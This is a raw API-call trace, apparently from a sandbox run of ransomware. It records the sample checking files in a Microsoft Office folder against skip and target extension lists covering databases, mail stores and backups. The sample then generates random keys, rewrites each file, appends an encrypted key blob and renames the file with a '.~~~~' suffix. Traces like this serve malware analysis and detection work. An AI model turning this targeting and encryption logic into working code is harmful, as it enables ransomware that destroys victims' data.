	[0146.199] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WZCNFLCT.CHM", lpSrch="msp\r\n.pif") returned 0x0
	[0146.199] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WZCNFLCT.CHM" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wzcnflct.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x104
	[0146.201] lstrlenW (lpString=".sqb") returned 4
	[0146.201] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WZCNFLCT.CHM", lpSrch=".sqb") returned 0x0
	[0146.201] lstrlenW (lpString=".ost") returned 4
	[0146.201] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WZCNFLCT.CHM", lpSrch=".ost") returned 0x0
	[0146.201] lstrlenW (lpString=".txt") returned 4
	[0146.202] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WZCNFLCT.CHM", lpSrch=".txt") returned 0x0
	[0146.202] lstrlenW (lpString=".mdt") returned 4
	[0146.202] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WZCNFLCT.CHM", lpSrch=".mdt") returned 0x0
	[0146.202] lstrlenW (lpString=".BDB") returned 4
	[0146.202] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WZCNFLCT.CHM", lpSrch=".BDB") returned 0x0
	[0146.202] lstrlenW (lpString=".eql") returned 4
	[0146.202] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WZCNFLCT.CHM", lpSrch=".eql") returned 0x0
	[0146.202] lstrlenW (lpString=".DBF") returned 4
	[0146.202] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WZCNFLCT.CHM", lpSrch=".DBF") returned 0x0
	[0146.202] lstrlenW (lpString=".EQL") returned 4
	[0146.202] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WZCNFLCT.CHM", lpSrch=".EQL") returned 0x0
	[0146.202] lstrlenW (lpString=".FDB") returned 4
	[0146.202] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WZCNFLCT.CHM", lpSrch=".FDB") returned 0x0
	[0146.202] lstrlenW (lpString=".EDB") returned 4
	[0146.202] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WZCNFLCT.CHM", lpSrch=".EDB") returned 0x0
	[0146.202] lstrlenW (lpString=".DACPAC") returned 7
	[0146.202] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WZCNFLCT.CHM", lpSrch=".DACPAC") returned 0x0
	[0146.202] lstrlenW (lpString=".VHD") returned 4
	[0146.202] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WZCNFLCT.CHM", lpSrch=".VHD") returned 0x0
	[0146.202] lstrlenW (lpString=".DBV") returned 4
	[0146.202] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WZCNFLCT.CHM", lpSrch=".DBV") returned 0x0
	[0146.202] lstrlenW (lpString=".dacpac") returned 7
	[0146.202] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WZCNFLCT.CHM", lpSrch=".dacpac") returned 0x0
	[0146.202] lstrlenW (lpString=".sdf") returned 4
	[0146.202] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WZCNFLCT.CHM", lpSrch=".sdf") returned 0x0
	[0146.202] lstrlenW (lpString=".accdb") returned 6
	[0146.202] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WZCNFLCT.CHM", lpSrch=".accdb") returned 0x0
	[0146.203] lstrlenW (lpString=".DBX") returned 4
	[0146.203] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WZCNFLCT.CHM", lpSrch=".DBX") returned 0x0
	[0146.203] lstrlenW (lpString=".MDT") returned 4
	[0146.203] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WZCNFLCT.CHM", lpSrch=".MDT") returned 0x0
	[0146.203] lstrlenW (lpString=".SQB") returned 4
	[0146.203] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WZCNFLCT.CHM", lpSrch=".SQB") returned 0x0
	[0146.203] lstrlenW (lpString=".vhd") returned 4
	[0146.203] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WZCNFLCT.CHM", lpSrch=".vhd") returned 0x0
	[0146.203] lstrlenW (lpString=".bac") returned 4
	[0146.203] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WZCNFLCT.CHM", lpSrch=".bac") returned 0x0
	[0146.203] lstrlenW (lpString=".mdf") returned 4
	[0146.203] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WZCNFLCT.CHM", lpSrch=".mdf") returned 0x0
	[0146.203] lstrlenW (lpString=".BAK") returned 4
	[0146.203] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WZCNFLCT.CHM", lpSrch=".BAK") returned 0x0
	[0146.203] lstrlenW (lpString=".BAC") returned 4
	[0146.203] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WZCNFLCT.CHM", lpSrch=".BAC") returned 0x0
	[0146.203] lstrlenW (lpString=".dbs") returned 4
	[0146.203] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WZCNFLCT.CHM", lpSrch=".dbs") returned 0x0
	[0146.203] lstrlenW (lpString=".vhdx") returned 5
	[0146.203] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WZCNFLCT.CHM", lpSrch=".vhdx") returned 0x0
	[0146.203] lstrlenW (lpString=".NDF") returned 4
	[0146.203] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WZCNFLCT.CHM", lpSrch=".NDF") returned 0x0
	[0146.203] lstrlenW (lpString=".dat") returned 4
	[0146.203] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WZCNFLCT.CHM", lpSrch=".dat") returned 0x0
	[0146.203] lstrlenW (lpString=".DBS") returned 4
	[0146.203] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WZCNFLCT.CHM", lpSrch=".DBS") returned 0x0
	[0146.204] lstrlenW (lpString=".CKP") returned 4
	[0146.204] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WZCNFLCT.CHM", lpSrch=".CKP") returned 0x0
	[0146.204] lstrlenW (lpString=".edb") returned 4
	[0146.204] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WZCNFLCT.CHM", lpSrch=".edb") returned 0x0
	[0146.204] lstrlenW (lpString=".PST") returned 4
	[0146.204] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WZCNFLCT.CHM", lpSrch=".PST") returned 0x0
	[0146.204] lstrlenW (lpString=".dbf") returned 4
	[0146.204] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WZCNFLCT.CHM", lpSrch=".dbf") returned 0x0
	[0146.204] lstrlenW (lpString=".SQL") returned 4
	[0146.204] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WZCNFLCT.CHM", lpSrch=".SQL") returned 0x0
	[0146.204] lstrlenW (lpString=".pst") returned 4
	[0146.204] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WZCNFLCT.CHM", lpSrch=".pst") returned 0x0
	[0146.204] lstrlenW (lpString=".dbv") returned 4
	[0146.204] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WZCNFLCT.CHM", lpSrch=".dbv") returned 0x0
	[0146.204] lstrlenW (lpString=".SDF") returned 4
	[0146.204] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WZCNFLCT.CHM", lpSrch=".SDF") returned 0x0
	[0146.204] lstrlenW (lpString=".dtxs") returned 5
	[0146.204] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WZCNFLCT.CHM", lpSrch=".dtxs") returned 0x0
	[0146.204] lstrlenW (lpString=".db3") returned 4
	[0146.204] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WZCNFLCT.CHM", lpSrch=".db3") returned 0x0
	[0146.204] lstrlenW (lpString=".OST") returned 4
	[0146.204] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WZCNFLCT.CHM", lpSrch=".OST") returned 0x0
	[0146.204] lstrlenW (lpString=".dbx") returned 4
	[0146.204] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WZCNFLCT.CHM", lpSrch=".dbx") returned 0x0
	[0146.204] lstrlenW (lpString=".DB3") returned 4
	[0146.204] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WZCNFLCT.CHM", lpSrch=".DB3") returned 0x0
	[0146.204] lstrlenW (lpString=".DAT") returned 4
	[0146.204] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WZCNFLCT.CHM", lpSrch=".DAT") returned 0x0
	[0146.205] lstrlenW (lpString=".VHDX") returned 5
	[0146.205] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WZCNFLCT.CHM", lpSrch=".VHDX") returned 0x0
	[0146.205] lstrlenW (lpString=".ndf") returned 4
	[0146.205] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WZCNFLCT.CHM", lpSrch=".ndf") returned 0x0
	[0146.205] lstrlenW (lpString=".DB") returned 3
	[0146.205] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WZCNFLCT.CHM", lpSrch=".DB") returned 0x0
	[0146.205] lstrlenW (lpString=".sql") returned 4
	[0146.205] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WZCNFLCT.CHM", lpSrch=".sql") returned 0x0
	[0146.205] lstrlenW (lpString=".MYD") returned 4
	[0146.205] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WZCNFLCT.CHM", lpSrch=".MYD") returned 0x0
	[0146.205] lstrlenW (lpString=".DBT") returned 4
	[0146.205] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WZCNFLCT.CHM", lpSrch=".DBT") returned 0x0
	[0146.205] lstrlenW (lpString=".ACCDB") returned 6
	[0146.205] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WZCNFLCT.CHM", lpSrch=".ACCDB") returned 0x0
	[0146.205] lstrlenW (lpString=".fdb") returned 4
	[0146.205] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WZCNFLCT.CHM", lpSrch=".fdb") returned 0x0
	[0146.205] lstrlenW (lpString=".bak") returned 4
	[0146.205] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WZCNFLCT.CHM", lpSrch=".bak") returned 0x0
	[0146.205] lstrlenW (lpString=".myd") returned 4
	[0146.205] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WZCNFLCT.CHM", lpSrch=".myd") returned 0x0
	[0146.205] lstrlenW (lpString=".DTXS") returned 5
	[0146.205] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WZCNFLCT.CHM", lpSrch=".DTXS") returned 0x0
	[0146.205] lstrlenW (lpString=".ckp") returned 4
	[0146.205] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WZCNFLCT.CHM", lpSrch=".ckp") returned 0x0
	[0146.205] lstrlenW (lpString=".dbt") returned 4
	[0146.205] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WZCNFLCT.CHM", lpSrch=".dbt") returned 0x0
	[0146.206] lstrlenW (lpString=".db") returned 3
	[0146.206] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WZCNFLCT.CHM", lpSrch=".db") returned 0x0
	[0146.206] lstrlenW (lpString=".TXT") returned 4
	[0146.206] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WZCNFLCT.CHM", lpSrch=".TXT") returned 0x0
	[0146.206] lstrlenW (lpString=".MDF") returned 4
	[0146.206] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WZCNFLCT.CHM", lpSrch=".MDF") returned 0x0
	[0146.206] lstrlenW (lpString=".bdb") returned 4
	[0146.206] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WZCNFLCT.CHM", lpSrch=".bdb") returned 0x0
	[0146.206] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0146.206] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WZCNFLCT.CHM", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0146.206] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29062e0
	[0146.206] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0146.206] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3956b8) returned 1
	[0146.207] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0146.207] CryptReleaseContext (hProv=0x3956b8, dwFlags=0x0) returned 1
	[0146.207] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0146.207] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0146.208] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0146.208] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=26619769876) returned 1
	[0146.208] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xc08cb170, dwHighDateTime=0x1d60e1e)) 
	[0146.208] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0146.208] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0146.208] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0146.208] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a1e98
	[0146.208] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0146.208] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a1e98 | out: hHeap=0x300000) returned 1
	[0146.208] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0146.208] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0146.208] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28acda0
	[0146.208] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0146.208] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c78e0
	[0146.208] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28acda0 | out: hHeap=0x300000) returned 1
	[0146.208] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0146.209] GetLastError () returned 0x0
	[0146.209] GetLastError () returned 0x0
	[0146.209] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0146.209] GetLastError () returned 0x0
	[0146.209] GetLastError () returned 0x0
	[0146.210] ReadFile (in: hFile=0x104, lpBuffer=0x28e6048, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesRead=0x26dfec0*=0x34d8, lpOverlapped=0x0) returned 1
	[0146.212] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0xffffcb28, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0146.212] WriteFile (in: hFile=0x104, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x34d8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x26dfec0*=0x34d8, lpOverlapped=0x0) returned 1
	[0146.212] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0146.212] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0146.212] WriteFile (in: hFile=0x104, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0146.213] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0146.213] WriteFile (in: hFile=0x104, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0146.213] CloseHandle (hObject=0x104) returned 1
	[0146.213] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c78e0
	[0146.213] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WZCNFLCT.CHM" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wzcnflct.chm"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WZCNFLCT.CHM.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wzcnflct.chm.~~~~")) returned 1
	[0146.216] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3c78e0 | out: hHeap=0x300000) returned 1
	[0146.216] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0146.216] GetLastError () returned 0x0
	[0146.216] RtlWakeConditionVariable () returned 0x365f70
	[0146.216] GetCurrentThreadId () returned 0x9cc
	[0146.216] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XFUNC.VSL", lpSrch=".scr") returned 0x0
	[0146.216] lstrlenW (lpString=".cmd") returned 4
	[0146.216] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XFUNC.VSL", lpSrch=".cmd") returned 0x0
	[0146.216] lstrlenW (lpString=".dll") returned 4
	[0146.216] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XFUNC.VSL", lpSrch=".dll") returned 0x0
	[0146.216] lstrlenW (lpString=".bat") returned 4
	[0146.216] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XFUNC.VSL", lpSrch=".bat") returned 0x0
	[0146.216] lstrlenW (lpString=".cpl") returned 4
	[0146.216] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XFUNC.VSL", lpSrch=".cpl") returned 0x0
	[0146.217] lstrlenW (lpString=".sys") returned 4
	[0146.217] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XFUNC.VSL", lpSrch=".sys") returned 0x0
	[0146.218] lstrlenW (lpString=".msc") returned 4
	[0146.218] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XFUNC.VSL", lpSrch=".msc") returned 0x0
	[0146.218] lstrlenW (lpString=".com") returned 4
	[0146.218] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XFUNC.VSL", lpSrch=".com") returned 0x0
	[0146.218] lstrlenW (lpString=".lnk") returned 4
	[0146.218] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XFUNC.VSL", lpSrch=".lnk") returned 0x0
	[0146.218] lstrlenW (lpString=".msp") returned 4
	[0146.218] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XFUNC.VSL", lpSrch=".msp") returned 0x0
	[0146.218] lstrlenW (lpString=".pif") returned 4
	[0146.218] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XFUNC.VSL", lpSrch=".pif") returned 0x0
	[0146.218] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0146.218] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XFUNC.VSL", lpSrch="msp\r\n.pif") returned 0x0
	[0146.218] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XFUNC.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xfunc.vsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138
	[0146.229] lstrlenW (lpString=".sqb") returned 4
	[0146.229] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XFUNC.VSL", lpSrch=".sqb") returned 0x0
	[0146.229] lstrlenW (lpString=".ost") returned 4
	[0146.229] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XFUNC.VSL", lpSrch=".ost") returned 0x0
	[0146.229] lstrlenW (lpString=".txt") returned 4
	[0146.229] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XFUNC.VSL", lpSrch=".txt") returned 0x0
	[0146.229] lstrlenW (lpString=".mdt") returned 4
	[0146.229] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XFUNC.VSL", lpSrch=".mdt") returned 0x0
	[0146.229] lstrlenW (lpString=".BDB") returned 4
	[0146.229] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XFUNC.VSL", lpSrch=".BDB") returned 0x0
	[0146.229] lstrlenW (lpString=".eql") returned 4
	[0146.229] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XFUNC.VSL", lpSrch=".eql") returned 0x0
	[0146.229] lstrlenW (lpString=".DBF") returned 4
	[0146.229] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XFUNC.VSL", lpSrch=".DBF") returned 0x0
	[0146.229] lstrlenW (lpString=".EQL") returned 4
	[0146.229] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XFUNC.VSL", lpSrch=".EQL") returned 0x0
	[0146.229] lstrlenW (lpString=".FDB") returned 4
	[0146.229] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XFUNC.VSL", lpSrch=".FDB") returned 0x0
	[0146.229] lstrlenW (lpString=".EDB") returned 4
	[0146.229] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XFUNC.VSL", lpSrch=".EDB") returned 0x0
	[0146.229] lstrlenW (lpString=".DACPAC") returned 7
	[0146.229] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XFUNC.VSL", lpSrch=".DACPAC") returned 0x0
	[0146.229] lstrlenW (lpString=".VHD") returned 4
	[0146.230] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XFUNC.VSL", lpSrch=".VHD") returned 0x0
	[0146.230] lstrlenW (lpString=".DBV") returned 4
	[0146.230] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XFUNC.VSL", lpSrch=".DBV") returned 0x0
	[0146.230] lstrlenW (lpString=".dacpac") returned 7
	[0146.230] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XFUNC.VSL", lpSrch=".dacpac") returned 0x0
	[0146.230] lstrlenW (lpString=".sdf") returned 4
	[0146.230] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XFUNC.VSL", lpSrch=".sdf") returned 0x0
	[0146.230] lstrlenW (lpString=".accdb") returned 6
	[0146.230] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XFUNC.VSL", lpSrch=".accdb") returned 0x0
	[0146.230] lstrlenW (lpString=".DBX") returned 4
	[0146.230] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XFUNC.VSL", lpSrch=".DBX") returned 0x0
	[0146.230] lstrlenW (lpString=".MDT") returned 4
	[0146.230] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XFUNC.VSL", lpSrch=".MDT") returned 0x0
	[0146.230] lstrlenW (lpString=".SQB") returned 4
	[0146.230] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XFUNC.VSL", lpSrch=".SQB") returned 0x0
	[0146.230] lstrlenW (lpString=".vhd") returned 4
	[0146.230] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XFUNC.VSL", lpSrch=".vhd") returned 0x0
	[0146.230] lstrlenW (lpString=".bac") returned 4
	[0146.230] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XFUNC.VSL", lpSrch=".bac") returned 0x0
	[0146.230] lstrlenW (lpString=".mdf") returned 4
	[0146.230] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XFUNC.VSL", lpSrch=".mdf") returned 0x0
	[0146.230] lstrlenW (lpString=".BAK") returned 4
	[0146.230] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XFUNC.VSL", lpSrch=".BAK") returned 0x0
	[0146.230] lstrlenW (lpString=".BAC") returned 4
	[0146.230] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XFUNC.VSL", lpSrch=".BAC") returned 0x0
	[0146.230] lstrlenW (lpString=".dbs") returned 4
	[0146.230] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XFUNC.VSL", lpSrch=".dbs") returned 0x0
	[0146.231] lstrlenW (lpString=".vhdx") returned 5
	[0146.231] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XFUNC.VSL", lpSrch=".vhdx") returned 0x0
